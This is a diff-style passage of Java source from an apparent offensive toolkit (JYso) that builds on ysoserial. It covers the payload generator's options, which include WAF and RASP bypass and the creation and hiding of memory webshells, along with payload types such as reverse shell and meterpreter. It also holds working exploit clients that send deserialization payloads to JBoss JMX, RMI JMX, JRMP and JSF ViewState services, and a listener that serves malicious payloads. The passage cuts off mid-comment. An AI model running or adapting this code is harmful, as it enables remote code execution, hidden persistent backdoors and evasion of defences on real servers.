Config.CMD_HEADER_STRING = cmdLine.getOptionValue("cmd-header");
}
if (cmdLine.hasOption("url")) {
String url = cmdLine.getOptionValue("url");
if (!url.startsWith("/")) {
url = "/" + url;
}
Config.URL_PATTERN = url;
}
if (cmdLine.hasOption("define-class-from-parameter")) {
Config.PARAMETER = cmdLine.getOptionValue("define-class-from-parameter");
}
if (cmdLine.hasOption("file")) {
Config.WRITE_FILE = true;
Config.FILE = cmdLine.getOptionValue("file");
}
if (cmdLine.hasOption("password")) {
Config.PASSWORD_ORI = cmdLine.getOptionValue("password");
Config.PASSWORD = generatePassword(Config.PASSWORD_ORI);
}
if (cmdLine.hasOption("godzilla-key")) {
Config.GODZILLA_KEY = generatePassword(cmdLine.getOptionValue("godzilla-key"));
}
if (cmdLine.hasOption("header-key")) {
Config.HEADER_KEY = cmdLine.getOptionValue("header-key");
}
if (cmdLine.hasOption("header-value")) {
Config.HEADER_VALUE = cmdLine.getOptionValue("header-value");
}
if (cmdLine.hasOption("no-com-sun")) {
Config.FORCE_USING_ORG_APACHE_TEMPLATESIMPL = true;
}
if (cmdLine.hasOption("mozilla-class-loader")) {
Config.USING_MOZILLA_DEFININGCLASSLOADER = true;
}
if (cmdLine.hasOption("rhino")) {
Config.USING_RHINO = true;
}
if (cmdLine.hasOption("utf8-Overlong-Encoding")) {
Config.IS_UTF_Bypass = true;
}
if (cmdLine.hasOption("gen-mem-shell")) {
Config.GEN_MEM_SHELL = true;
if (cmdLine.hasOption("gen-mem-shell-name")) {
Config.GEN_MEM_SHELL_FILENAME = cmdLine.getOptionValue("gen-mem-shell-name");
}
}
if (cmdLine.hasOption("hide-mem-shell")) {
Config.HIDE_MEMORY_SHELL = true;
if (cmdLine.hasOption("hide-type")) {
Config.HIDE_MEMORY_SHELL_TYPE = Integer.parseInt(cmdLine.getOptionValue("hide-type"));
}
}
final String payloadType = cmdLine.getOptionValue("gadget");
final String command = cmdLine.getOptionValue("parameters");
final Class<? extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType);
if (payloadClass == null) {
System.err.println("Invalid payload type '" + payloadType + "'");
printUsage(options);
System.exit(1);
return;
}
try {
ObjectPayload payload = payloadClass.newInstance();
Object object = payload.getObject(command);
// 是否指定混淆
if (cmdLine.hasOption("dirty-type") && cmdLine.hasOption("dirty-length")) {
int type = Integer.parseInt(cmdLine.getOptionValue("dirty-type"));
int length = Integer.parseInt(cmdLine.getOptionValue("dirty-length"));
object = new DirtyDataWrapper(object, type, length).doWrap();
}
// 储存生成的 payload
PAYLOAD = object;
if (isFromExploit()) {
return;
}
OutputStream out;
if (Config.WRITE_FILE) {
out = new FileOutputStream(Config.FILE);
} else {
out = System.out;
}
Serializer.qiserialize(object, out);
ObjectPayload.Utils.releasePayload(payload, object);
out.flush();
out.close();
} catch (Throwable e) {
System.err.println("Error while generating or serializing payload");
e.printStackTrace();
System.exit(1);
}
System.exit(0);
}
private static Options getOptions() {
System.out.println("██╗ ██╗███████╗ ██████╗ \n" +
"╚██╗ ██╔╝██╔════╝██╔═══██╗\n" +
" ╚████╔╝ ███████╗██║ ██║\n" +
" ╚██╔╝ ╚════██║██║ ██║\n" +
" ██║ ███████║╚██████╔╝\n" +
" ╚═╝ ╚══════╝ ╚═════╝ \n");
Options options = new Options();
options.addOption("y", "ysoserial", false, "Java deserialization");
options.addOption("g", "gadget", true, "Java deserialization gadget");
options.addOption("p", "parameters", true, "Gadget parameters");
options.addOption("dt", "dirty-type", true, "Using dirty data to bypass WAFtype: 1:Random Hashable Collections/2:LinkedList Nesting/3:TC_RESET in Serialized Data");
options.addOption("dl", "dirty-length", true, "Length of dirty data when using type 1 or 3/Counts of Nesting loops when using type 2");
options.addOption("f", "file", true, "Write Output into FileOutputStream (Specified FileName)");
options.addOption("o", "obscure", false, "Using reflection to bypass RASP");
options.addOption("i", "inherit", false, "Make payload inherit AbstractTranslet or not (Lower JDK like 1.6 should inherit)");
options.addOption("u", "url", true, "MemoryShell binding url pattern,default [/version.txt]");
options.addOption("pw", "password", true, "Behinder or Godzilla password,default [p@ssw0rd]");
options.addOption("gzk", "godzilla-key", true, "Godzilla key,default [key]");
options.addOption("hk", "header-key", true, "MemoryShell Header Check,Request Header Key,default [Referer]");
options.addOption("hv", "header-value", true, "MemoryShell Header Check,Request Header Value,default [https://QI4L.cn/]");
options.addOption("ch", "cmd-header", true, "Request Header which pass the command to Execute,default [X-Token-Data]");
options.addOption("gen", "gen-mem-shell", false, "Write Memory Shell Class to File");
options.addOption("n", "gen-mem-shell-name", true, "Memory Shell Class File Name");
options.addOption("h", "hide-mem-shell", false, "Hide memory shell from detection tools (type 2 only support SpringControllerMS)");
options.addOption("ht", "hide-type", true, "Hide memory shell,type 1:write /jre/lib/charsets.jar 2:write /jre/classes/");
options.addOption("rh", "rhino", false, "ScriptEngineManager Using Rhino Engine to eval JS");
options.addOption("ncs", "no-com-sun", false, "Force Using org.apache.XXX.TemplatesImpl instead of com.sun.org.apache.XXX.TemplatesImpl");
options.addOption("mcl", "mozilla-class-loader", false, "Using org.mozilla.javascript.DefiningClassLoader in TransformerUtil");
options.addOption("dcfp", "define-class-from-parameter", true, "Customize parameter name when using DefineClassFromParameter");
options.addOption("utf", "utf8-Overlong-Encoding", false, "UTF-8 Overlong Encoding Bypass waf");
return options;
}
private static void printUsage(Options options) {
System.err.println("[root]#~ Usage: java -jar JYso-[version].jar -y -g [payload] -p [command] [options]");
System.err.println("[root]#~ Available payload types:");
final List<Class<? extends ObjectPayload>> payloadClasses =
new ArrayList<Class<? extends ObjectPayload>>(ObjectPayload.Utils.getPayloadClasses());
Collections.sort(payloadClasses, new StringUtil.ToStringComparator()); // alphabetize
final List<String[]> rows = new LinkedList<String[]>();
rows.add(new String[]{"Payload", "Authors", "Dependencies"});
rows.add(new String[]{"-------", "-------", "------------"});
for (Class<? extends ObjectPayload> payloadClass : payloadClasses) {
rows.add(new String[]{
payloadClass.getSimpleName(),
StringUtil.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""),
StringUtil.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)), ", ", "", "")
});
}
final List<String> lines = StringUtil.formatTable(rows);
for (String line : lines) {
System.err.println(" " + line);
}
System.err.println("\r\n");
HelpFormatter helpFormatter = new HelpFormatter();
helpFormatter.setWidth(Math.min(200, jline.Terminal.getTerminal().getTerminalWidth()));
helpFormatter.printHelp("JYso-[version].jar", options, true);
System.err.println("\r\n");
System.err.println("Recommended Usage: -y -g [payload] -p '[command]' -dt 1 -dl 50000 -o -i -f evil.ser");
System.err.println("If you want your payload being extremely shortyou could just use:");
System.err.println("java -jar JYso-[version].jar -y -g [payload] -p '[command]' -i -f evil.ser");
System.exit(0);
}
}
@@ -0,0 +1,8 @@
package com.qi4l.jndi.enumtypes;
public enum GadgetType {
base64Two,
msf,
base64,
shell,
}
@@ -0,0 +1,47 @@
package com.qi4l.jndi.enumtypes;
public enum PayloadType {
sethttp,
dnslog,
tomcatupgrade,
command,
reverseshell,
tomcatecho,
springecho,
weblogicecho,
windowsecho,
linuxecho2,
linuxecho1,
allecho,
websphereecho,
resinecho,
tomcatfilterjmx,
tomcatfilterth,
tomcatlistenerjmx,
tomcatlistenerth,
tomcatservletjmx,
tomcatservletth,
jbossfilter,
jbossservlet,
webspherememshell,
springinterceptor,
springcontroller,
issuccess,
jettyfilter,
jettyservlet,
struts2actionms,
wsfilter,
tomcatexecutor,
meterpreter,
resinfilterth,
resinservletth,
jbossecho,
jettyecho,
cmsmsbync,
proxymsbync,
wsresin,
mstsjproxy,
mstsjser,
wsweblogic,
wswebsphereproxy,
}
@@ -0,0 +1,7 @@
package com.qi4l.jndi.enumtypes;
public enum WebsphereActionType {
list,
upload,
rce;
}
@@ -0,0 +1,11 @@
package com.qi4l.jndi.exceptions;
public class IncorrectParamsException extends RuntimeException {
public IncorrectParamsException() {
super();
}
public IncorrectParamsException(String message) {
super(message);
}
}
@@ -0,0 +1,11 @@
package com.qi4l.jndi.exceptions;
public class UnSupportedActionTypeException extends RuntimeException {
public UnSupportedActionTypeException() {
super();
}
public UnSupportedActionTypeException(String message) {
super(message);
}
}
@@ -0,0 +1,11 @@
package com.qi4l.jndi.exceptions;
public class UnSupportedGadgetTypeException extends RuntimeException {
public UnSupportedGadgetTypeException() {
super();
}
public UnSupportedGadgetTypeException(String message) {
super(message);
}
}
@@ -0,0 +1,11 @@
package com.qi4l.jndi.exceptions;
public class UnSupportedPayloadTypeException extends RuntimeException {
public UnSupportedPayloadTypeException() {
super();
}
public UnSupportedPayloadTypeException(String message) {
super(message);
}
}
@@ -0,0 +1,385 @@
package com.qi4l.jndi.exploit;
import com.qi4l.jndi.Starter;
import com.qi4l.jndi.controllers.ysoserial;
import com.qi4l.jndi.gadgets.utils.Reflections;
import org.jboss.remoting3.Connection;
import org.jboss.remoting3.*;
import org.jboss.remoting3.remote.HttpUpgradeConnectionProviderFactory;
import org.jboss.remoting3.spi.*;
import org.jboss.remotingjmx.VersionedConnection;
import org.xnio.*;
import org.xnio.IoFuture.Status;
import org.xnio.ssl.JsseXnioSsl;
import org.xnio.ssl.XnioSsl;
import javax.management.*;
import javax.management.remote.JMXServiceURL;
import javax.security.auth.callback.*;
import javax.security.sasl.RealmCallback;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.InetSocketAddress;
import java.net.MalformedURLException;
import java.net.SocketAddress;
import java.net.URI;
import java.security.KeyManagementException;
import java.security.NoSuchAlgorithmException;
import java.security.NoSuchProviderException;
import java.util.HashMap;
import java.util.Map;
import java.util.Set;
import java.util.concurrent.*;
import java.util.logging.*;
/**
* An exploitation client for JBoss AS/Wildfly JMX
* <p>
* JBoss is using a custom tunneled protocol for JMX, this is a client for this protocol.
* <p>
* This is not as readily exploitable as in other pieces of software:
* 1. they only allow authenticated access by default
* 2. they have a very strict module architecture:
* - all MBeans exported by default use classloaders that expose almost nothing useful
* - the module classloaders do not even expose the full boot classpath, so we cannot readily use stuff like
* com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
* <p>
* This client enumerates all application exported MBean method which are then called
* delivering the specified payload.
* <p>
* I.e. you can succesfully exploit that
* - you have access to the interface
* (username/password can be specified via URL, note: despite not noticeable,
* local connections implicitely use authentication)
* - there is an application exported MBean
* - that application imports the classes required for the gadget chain
*
* @author mbechler
*/
@SuppressWarnings({
"rawtypes"
})
public class JBoss {
public static void main(String[] args) throws Exception {
if (args.length < 5) {
System.err.println("Usage " + JBoss.class.getName() + " <uri> <args...> ");
System.exit(-1);
}
URI u = URI.create(args[0]);
// 去除前一个参数
String[] newArray = new String[args.length - 1];
System.arraycopy(args, 1, newArray, 0, newArray.length);
Starter.main(newArray);
Object payloadObject = ysoserial.PAYLOAD;
String username = null;
String password = null;
if (u.getUserInfo() != null) {
int sep = u.getUserInfo().indexOf(':');
if (sep >= 0) {
username = u.getUserInfo().substring(0, sep);
password = u.getUserInfo().substring(sep + 1);
} else {
System.err.println("Need <user>:<password>@");
System.exit(-1);
}
}
doRun(u, payloadObject, username, password);
}
private static void doRun(URI u, final Object payloadObject, String username, String password) {
ConnectionProvider instance = null;
ConnectionProviderContextImpl context = null;
ConnectionHandler ch = null;
Channel c = null;
VersionedConnection vc = null;
try {
Logger logger = LogManager.getLogManager().getLogger("");
logger.addHandler(new ConsoleLogHandler());
logger.setLevel(Level.INFO);
OptionMap options = OptionMap.builder().set(Options.SSL_ENABLED, u.getScheme().equals("https")).getMap();
context = new ConnectionProviderContextImpl(options, "endpoint");
instance = new HttpUpgradeConnectionProviderFactory().createInstance(context, options);
String host = u.getHost();
int port = u.getPort() > 0 ? u.getPort() : 9990;
SocketAddress destination = new InetSocketAddress(host, port);
ConnectionHandlerFactory chf = getConnection(destination, username, password, context, instance, options);
ch = chf.createInstance(new ConnectionHandlerContextImpl(context));
c = getChannel(context, ch, options);
System.err.println("Connected");
vc = makeVersionedConnection(c);
MBeanServerConnection mbc = vc.getMBeanServerConnection(null);
doExploit(payloadObject, mbc);
System.err.println("DONE");
} catch (Throwable e) {
e.printStackTrace(System.err);
} finally {
cleanup(instance, context, ch, c, vc);
}
}
private static void cleanup(ConnectionProvider instance, ConnectionProviderContextImpl context, ConnectionHandler ch, Channel c,
VersionedConnection vc) {
if (vc != null) {
vc.close();
}
if (c != null) {
try {
c.close();
} catch (IOException e) {
e.printStackTrace(System.err);
}
}
if (ch != null) {
try {
ch.close();
} catch (IOException e) {
e.printStackTrace(System.err);
}
}
if (instance != null) {
try {
instance.close();
} catch (IOException e) {
e.printStackTrace(System.err);
}
}
if (context != null) {
context.getXnioWorker().shutdown();
}
}
private static ConnectionHandlerFactory getConnection(SocketAddress destination, final String username, final String password,
ConnectionProviderContextImpl context, ConnectionProvider instance, OptionMap options)
throws IOException, InterruptedException, KeyManagementException, NoSuchProviderException, NoSuchAlgorithmException {
XnioSsl xnioSsl = new JsseXnioSsl(context.getXnio(), options);
FutureResult<ConnectionHandlerFactory> result = new FutureResult<ConnectionHandlerFactory>();
instance.connect(null, destination, options, result, new CallbackHandler() {
public void handle(Callback[] callbacks) throws IOException, UnsupportedCallbackException {
for (Callback cb : callbacks) {
if (cb instanceof NameCallback) {
((NameCallback) cb).setName(username);
} else if (cb instanceof PasswordCallback) {
((PasswordCallback) cb).setPassword(password != null ? password.toCharArray() : new char[0]);
} else if (!(cb instanceof RealmCallback)) {
System.err.println(cb);
throw new UnsupportedCallbackException(cb);
}
}
}
}, xnioSsl);
System.err.println("waiting for connection");
IoFuture<ConnectionHandlerFactory> ioFuture = result.getIoFuture();
Status s = ioFuture.await(5, TimeUnit.SECONDS);
if (s == Status.FAILED) {
System.err.println("Cannot connect");
if (ioFuture.getException() != null) {
ioFuture.getException().printStackTrace(System.err);
}
} else if (s != Status.DONE) {
ioFuture.cancel();
System.err.println("Connect timeout");
System.exit(-1);
}
ConnectionHandlerFactory chf = ioFuture.getInterruptibly();
return chf;
}
private static Channel getChannel(ConnectionProviderContextImpl context, ConnectionHandler ch, OptionMap options) throws IOException {
Channel c;
FutureResult<Channel> chResult = new FutureResult<Channel>(context.getExecutor());
ch.open("jmx", chResult, options);
IoFuture<Channel> cFuture = chResult.getIoFuture();
Status s2 = cFuture.await();
if (s2 == Status.FAILED) {
System.err.println("Cannot connect");
if (cFuture.getException() != null) {
throw new IOException("Connect failed", cFuture.getException());
}
} else if (s2 != Status.DONE) {
cFuture.cancel();
throw new IOException("Connect timeout");
}
c = cFuture.get();
return c;
}
private static VersionedConnection makeVersionedConnection(Channel c)
throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, MalformedURLException {
VersionedConnection vc;
Class<?> vcf = Class.forName("org.jboss.remotingjmx.VersionedConectionFactory");
Method vcCreate = vcf.getDeclaredMethod("createVersionedConnection", Channel.class, Map.class, JMXServiceURL.class);
Reflections.setAccessible(vcCreate);
vc = (VersionedConnection) vcCreate.invoke(null, c, new HashMap(), new JMXServiceURL("service:jmx:remoting-jmx://"));
return vc;
}
private static void doExploit(final Object payloadObject, MBeanServerConnection mbc)
throws IOException, InstanceNotFoundException, IntrospectionException, ReflectionException {
Object[] params = new Object[1];
params[0] = payloadObject;
System.err.println("Querying MBeans");
Set<ObjectInstance> testMBeans = mbc.queryMBeans(null, null);
System.err.println("Found " + testMBeans.size() + " MBeans");
for (ObjectInstance oi : testMBeans) {
MBeanInfo mBeanInfo = mbc.getMBeanInfo(oi.getObjectName());
for (MBeanOperationInfo opInfo : mBeanInfo.getOperations()) {
try {
mbc.invoke(oi.getObjectName(), opInfo.getName(), params, new String[]{});
System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS");
return;
} catch (Throwable e) {
String msg = e.getMessage();
if (msg.startsWith("java.lang.ClassNotFoundException:")) {
int start = msg.indexOf('"');
int stop = msg.indexOf('"', start + 1);
String module = (start >= 0 && stop > 0) ? msg.substring(start + 1, stop) : "<unknown>";
if (!"<unknown>".equals(module) && !"org.jboss.as.jmx:main".equals(module)) {
int cstart = msg.indexOf(':');
int cend = msg.indexOf(' ', cstart + 2);
String cls = msg.substring(cstart + 2, cend);
System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> FAIL CNFE " + cls + " (" + module + ")");
}
} else {
System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS|ERROR " + msg);
return;
}
}
}
}
}
private static final class ConsoleLogHandler extends Handler {
@Override
public void publish(LogRecord record) {
System.err.println(record.getMessage());
}
@Override
public void flush() {
}
@Override
public void close() throws SecurityException {
}
}
@SuppressWarnings({"deprecation"})
private static final class ConnectionHandlerContextImpl implements ConnectionHandlerContext {
private ConnectionProviderContextImpl context;
public ConnectionHandlerContextImpl(ConnectionProviderContextImpl context) {
this.context = context;
}
public void remoteClosed() {
}
public OpenListener getServiceOpenListener(String serviceType) {
return null;
}
public RegisteredService getRegisteredService(String serviceType) {
return null;
}
public ConnectionProviderContext getConnectionProviderContext() {
return this.context;
}
public Connection getConnection() {
return null;
}
}
private static final class ConnectionProviderContextImpl implements ConnectionProviderContext {
private XnioWorker worker;
private ExecutorService executor;
private Xnio instance;
private Endpoint endpoint;
public ConnectionProviderContextImpl(OptionMap opts, String endpointName) throws IllegalArgumentException, IOException {
this.instance = Xnio.getInstance();
this.worker = this.instance.createWorker(opts);
this.endpoint = Remoting.createEndpoint(endpointName, this.worker, opts);
this.executor = Executors.newCachedThreadPool(new ThreadFactory() {
public Thread newThread(Runnable r) {
Thread t = new Thread(r, "Worker");
t.setDaemon(true);
return t;
}
});
}
public XnioWorker getXnioWorker() {
return this.worker;
}
public Xnio getXnio() {
return this.instance;
}
public Executor getExecutor() {
return this.executor;
}
public Endpoint getEndpoint() {
return this.endpoint;
}
public void accept(ConnectionHandlerFactory connectionHandlerFactory) {
System.err.println("accept");
}
}
}
@@ -0,0 +1,45 @@
package com.qi4l.jndi.exploit;
import com.qi4l.jndi.Starter;
import com.qi4l.jndi.controllers.ysoserial;
import javax.management.MBeanServerConnection;
import javax.management.ObjectName;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
/*
* Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader.
* Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument.
*
*/
public class JMXInvokeMBean {
public static void main(String[] args) throws Exception {
if (args.length < 6) {
System.err.println(JMXInvokeMBean.class.getName() + " <host> <port> <arg...>");
System.exit(-1);
}
JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/jmxrmi");
JMXConnector jmxConnector = JMXConnectorFactory.connect(url);
MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();
// 去除前两个参数
String[] newArray = new String[args.length - 2];
System.arraycopy(args, 2, newArray, 0, newArray.length);
Starter.main(newArray);
Object payloadObject = ysoserial.PAYLOAD;
ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging");
mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()});
//close the connection
jmxConnector.close();
}
}
@@ -0,0 +1,48 @@
package com.qi4l.jndi.exploit;
import com.qi4l.jndi.gadgets.JRMPClient;
import java.net.URL;
/**
* JRMP listener triggering RMI remote classloading
* <p>
* Opens up an JRMP listener that will deliver a remote classpath class to the calling client.
* <p>
* Mostly CVE-2013-1537 (presumably, does not state details) with the difference that you don't need
* access to an RMI socket when you can deliver {@link JRMPClient}.
* <p>
* This only works if
* - the remote end is running with a security manager
* - java.rmi.server.useCodebaseOnly=false (default until 7u21)
* - the remote has the proper permissions to remotely load the class (mostly URLPermission)
* <p>
* and, of course, the payload class is then run under the security manager with a remote codebase
* so either the policy needs to allow whatever you want to do in the payload or you need to combine
* with a security manager bypass exploit (wouldn't be the first time).
*
* @author mbechler
*/
public class JRMPClassLoadingListener {
public static final void main(final String[] args) {
if (args.length < 3) {
System.err.println(JRMPClassLoadingListener.class.getName() + " <port> <url> <className>");
System.exit(-1);
return;
}
try {
int port = Integer.parseInt(args[0]);
System.err.println("* Opening JRMP listener on " + port);
JRMPListener c = new JRMPListener(port, args[2], new URL(args[1]));
c.run();
} catch (Exception e) {
System.err.println("Listener error");
e.printStackTrace(System.err);
}
}
}
@@ -0,0 +1,134 @@
package com.qi4l.jndi.exploit;
import com.qi4l.jndi.Starter;
import com.qi4l.jndi.controllers.ysoserial;
import sun.rmi.transport.TransportConstants;
import javax.net.SocketFactory;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.net.*;
/**
* Generic JRMP client
* <p>
* Pretty much the same thing as {@link RMIRegistryExploit} but
* - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener)
* - not deserializing anything (so you don't get yourself exploited ;))
*
* @author mbechler
*/
@SuppressWarnings({
"restriction"
})
public class JRMPClient {
public static final void main(final String[] args) throws Exception {
if (args.length < 5) {
System.err.println(JRMPClient.class.getName() + " <host> <port> <args...>");
System.exit(-1);
}
String hostname = args[0];
int port = Integer.parseInt(args[1]);
// 去除前两个参数
String[] newArray = new String[args.length - 2];
System.arraycopy(args, 2, newArray, 0, newArray.length);
Starter.main(newArray);
Object payloadObject = ysoserial.PAYLOAD;
try {
System.err.println(String.format("* Opening JRMP socket %s:%d", hostname, port));
makeDGCCall(hostname, port, payloadObject);
} catch (Exception e) {
e.printStackTrace(System.err);
}
}
public static void makeDGCCall(String hostname, int port, Object payloadObject) throws IOException, UnknownHostException, SocketException {
InetSocketAddress isa = new InetSocketAddress(hostname, port);
Socket s = null;
DataOutputStream dos = null;
try {
s = SocketFactory.getDefault().createSocket(hostname, port);
s.setKeepAlive(true);
s.setTcpNoDelay(true);
OutputStream os = s.getOutputStream();
dos = new DataOutputStream(os);
dos.writeInt(TransportConstants.Magic);
dos.writeShort(TransportConstants.Version);
dos.writeByte(TransportConstants.SingleOpProtocol);
dos.write(TransportConstants.Call);
@SuppressWarnings("resource") final ObjectOutputStream objOut = new MarshalOutputStream(dos);
objOut.writeLong(2); // DGC
objOut.writeInt(0);
objOut.writeLong(0);
objOut.writeShort(0);
objOut.writeInt(1); // dirty
objOut.writeLong(-669196253586618813L);
objOut.writeObject(payloadObject);
os.flush();
} finally {
if (dos != null) {
dos.close();
}
if (s != null) {
s.close();
}
}
}
static final class MarshalOutputStream extends ObjectOutputStream {
private URL sendUrl;
public MarshalOutputStream(OutputStream out, URL u) throws IOException {
super(out);
this.sendUrl = u;
}
MarshalOutputStream(OutputStream out) throws IOException {
super(out);
}
@Override
protected void annotateClass(Class<?> cl) throws IOException {
if (this.sendUrl != null) {
writeObject(this.sendUrl.toString());
} else if (!(cl.getClassLoader() instanceof URLClassLoader)) {
writeObject(null);
} else {
URL[] us = ((URLClassLoader) cl.getClassLoader()).getURLs();
String cb = "";
for (URL u : us) {
cb += u.toString();
}
writeObject(cb);
}
}
/**
* Serializes a location from which to load the specified class.
*/
@Override
protected void annotateProxyClass(Class<?> cl) throws IOException {
annotateClass(cl);
}
}
}
@@ -0,0 +1,292 @@
package com.qi4l.jndi.exploit;
import com.qi4l.jndi.Starter;
import com.qi4l.jndi.controllers.ysoserial;
import com.qi4l.jndi.gadgets.utils.Reflections;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import sun.rmi.transport.TransportConstants;
import javax.management.BadAttributeValueExpException;
import javax.net.ServerSocketFactory;
import java.io.*;
import java.net.*;
import java.rmi.MarshalException;
import java.rmi.server.ObjID;
import java.rmi.server.UID;
import java.util.Arrays;
/**
* Generic JRMP listener
* <p>
* Opens up an JRMP listener that will deliver the specified payload to any
* client connecting to it and making a call.
*
* @author mbechler
*/
@SuppressWarnings({
"restriction"
})
public class JRMPListener implements Runnable {
private int port;
private Object payloadObject;
private ServerSocket ss;
private Object waitLock = new Object();
private boolean exit;
private boolean hadConnection;
private URL classpathUrl;
public JRMPListener(int port, Object payloadObject) throws NumberFormatException, IOException {
this.port = port;
this.payloadObject = payloadObject;
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
}
public JRMPListener(int port, String className, URL classpathUrl) throws IOException {
this.port = port;
this.payloadObject = makeDummyObject(className);
this.classpathUrl = classpathUrl;
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
}
public static final void main(final String[] args) throws Exception {
if (args.length < 5) {
System.err.println(JRMPListener.class.getName() + " <port> <args...> ");
System.exit(-1);
return;
}
// 去除第一个参数
String[] newArray = new String[args.length - 1];
System.arraycopy(args, 1, newArray, 0, newArray.length);
Starter.main(newArray);
final Object payloadObject = ysoserial.PAYLOAD;
try {
int port = Integer.parseInt(args[0]);
System.err.println("* Opening JRMP listener on " + port);
JRMPListener c = new JRMPListener(port, payloadObject);
c.run();
} catch (Exception e) {
System.err.println("Listener error");
e.printStackTrace(System.err);
}
}
@SuppressWarnings({"deprecation"})
protected static Object makeDummyObject(String className) {
try {
ClassLoader isolation = new ClassLoader() {
};
ClassPool cp = new ClassPool();
cp.insertClassPath(new ClassClassPath(Dummy.class));
CtClass clazz = cp.get(Dummy.class.getName());
clazz.setName(className);
return clazz.toClass(isolation).newInstance();
} catch (Exception e) {
e.printStackTrace();
return new byte[0];
}
}
public boolean waitFor(int i) {
try {
if (this.hadConnection) {
return true;
}
System.err.println("Waiting for connection");
synchronized (this.waitLock) {
this.waitLock.wait(i);
}
return this.hadConnection;
} catch (InterruptedException e) {
return false;
}
}
public void close() {
this.exit = true;
try {
this.ss.close();
} catch (IOException e) {
}
synchronized (this.waitLock) {
this.waitLock.notify();
}
}
public void run() {
try {
Socket s = null;
try {
while (!this.exit && (s = this.ss.accept()) != null) {
try {
s.setSoTimeout(5000);
InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress();
System.err.println("Have connection from " + remote);
InputStream is = s.getInputStream();
InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);
// Read magic (or HTTP wrapper)
bufIn.mark(4);
DataInputStream in = new DataInputStream(bufIn);
int magic = in.readInt();
short version = in.readShort();
if (magic != TransportConstants.Magic || version != TransportConstants.Version) {
s.close();
continue;
}
OutputStream sockOut = s.getOutputStream();
BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
DataOutputStream out = new DataOutputStream(bufOut);
byte protocol = in.readByte();
switch (protocol) {
case TransportConstants.StreamProtocol:
out.writeByte(TransportConstants.ProtocolAck);
if (remote.getHostName() != null) {
out.writeUTF(remote.getHostName());
} else {
out.writeUTF(remote.getAddress().toString());
}
out.writeInt(remote.getPort());
out.flush();
in.readUTF();
in.readInt();
case TransportConstants.SingleOpProtocol:
doMessage(s, in, out, this.payloadObject);
break;
default:
case TransportConstants.MultiplexProtocol:
System.err.println("Unsupported protocol");
s.close();
continue;
}
bufOut.flush();
out.flush();
} catch (InterruptedException e) {
return;
} catch (Exception e) {
e.printStackTrace(System.err);
} finally {
System.err.println("Closing connection");
s.close();
}
}
} finally {
if (s != null) {
s.close();
}
if (this.ss != null) {
this.ss.close();
}
}
} catch (SocketException e) {
return;
} catch (Exception e) {
e.printStackTrace(System.err);
}
}
private void doMessage(Socket s, DataInputStream in, DataOutputStream out, Object payload) throws Exception {
System.err.println("Reading message...");
int op = in.read();
switch (op) {
case TransportConstants.Call:
// service incoming RMI call
doCall(in, out, payload);
break;
case TransportConstants.Ping:
// send ack for ping
out.writeByte(TransportConstants.PingAck);
break;
case TransportConstants.DGCAck:
UID u = UID.read(in);
break;
default:
throw new IOException("unknown transport op " + op);
}
s.close();
}
private void doCall(DataInputStream in, DataOutputStream out, Object payload) throws Exception {
ObjectInputStream ois = new ObjectInputStream(in) {
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if ("[Ljava.rmi.server.ObjID;".equals(desc.getName())) {
return ObjID[].class;
} else if ("java.rmi.server.ObjID".equals(desc.getName())) {
return ObjID.class;
} else if ("java.rmi.server.UID".equals(desc.getName())) {
return UID.class;
}
throw new IOException("Not allowed to read object");
}
};
ObjID read;
try {
read = ObjID.read(ois);
} catch (java.io.IOException e) {
throw new MarshalException("unable to read objID", e);
}
if (read.hashCode() == 2) {
ois.readInt(); // method
ois.readLong(); // hash
System.err.println("Is DGC call for " + Arrays.toString((ObjID[]) ois.readObject()));
}
System.err.println("Sending return with payload for obj " + read);
out.writeByte(TransportConstants.Return);// transport op
ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);
oos.writeByte(TransportConstants.ExceptionalReturn);
new UID().write(oos);
BadAttributeValueExpException ex = new BadAttributeValueExpException(null);
Reflections.setFieldValue(ex, "val", payload);
oos.writeObject(ex);
oos.flush();
out.flush();
this.hadConnection = true;
synchronized (this.waitLock) {
this.waitLock.notifyAll();
}
}
public static class Dummy implements Serializable {
private static final long serialVersionUID = 1L;
}
}
@@ -0,0 +1,79 @@
package com.qi4l.jndi.exploit;
import com.qi4l.jndi.Starter;
import com.qi4l.jndi.controllers.ysoserial;
import org.apache.commons.codec.binary.Base64;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLEncoder;
/**
* JSF view state exploit
* <p>
* Delivers a gadget payload via JSF ViewState token.
* <p>
* This will only work if ViewState encryption/mac is disabled.
* <p>
* While it has been long known that client side state saving
* with encryption disabled leads to RCE via EL injection,
* this of course also works with deserialization gadgets.
* <p>
* Also, it turns out that MyFaces is vulnerable to this even when
* using server-side state saving
* (yes, please, let's (de-)serialize a String as an Object).
*
